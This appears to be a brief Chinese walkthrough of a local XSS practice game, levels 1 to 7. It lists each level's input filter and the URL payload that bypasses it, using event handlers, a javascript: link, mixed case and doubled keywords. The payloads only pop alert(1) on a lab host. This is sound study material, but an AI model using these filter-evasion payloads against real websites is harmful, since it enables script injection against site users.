很简单的弹窗
http://192.168.31.177/xssgame/level1.php?name=
<script>alert(1)</script>
过滤了>、<
http://192.168.31.177/xssgame/level2.php?keyword=
" oninput='alert(1)'//&submit=‘搜索’
过滤了>、<、'
用单引号替换了双引号
http://192.168.31.177/xssgame/level3.php?keyword=
' oninput=alert(1) //&submit=搜索
过滤了>、<、"
http://192.168.31.177/xssgame/level4.php?keyword=
" onmouseover=alert(1)//&submit=搜索
script替换成scr_ipt、on事件替换成了on_事件
利用伪协议 <a href='javascript:alert(1)'>来执行弹框
http://192.168.31.177/xssgame/level5.php?keyword=
"><a href='javascript:alert(1)'> //&submit=搜索
script替换成scr_ipt、on事件替换成了on_事件、href替换成了hr_ef
大小写绕过
http://192.168.31.177/xssgame/level6.php?keyword=
"<sCRipt>alert(1)</script>//&submit=搜索
script、on、href直接替换为空
双写绕过
http://192.168.31.177/xssgame/level7.php?keyword=
1" oonnmouseover=alert(1)>//&submit=搜索
script替换成了scr_ipt、on事件替换成了on_事件、href替换成了hr_ef
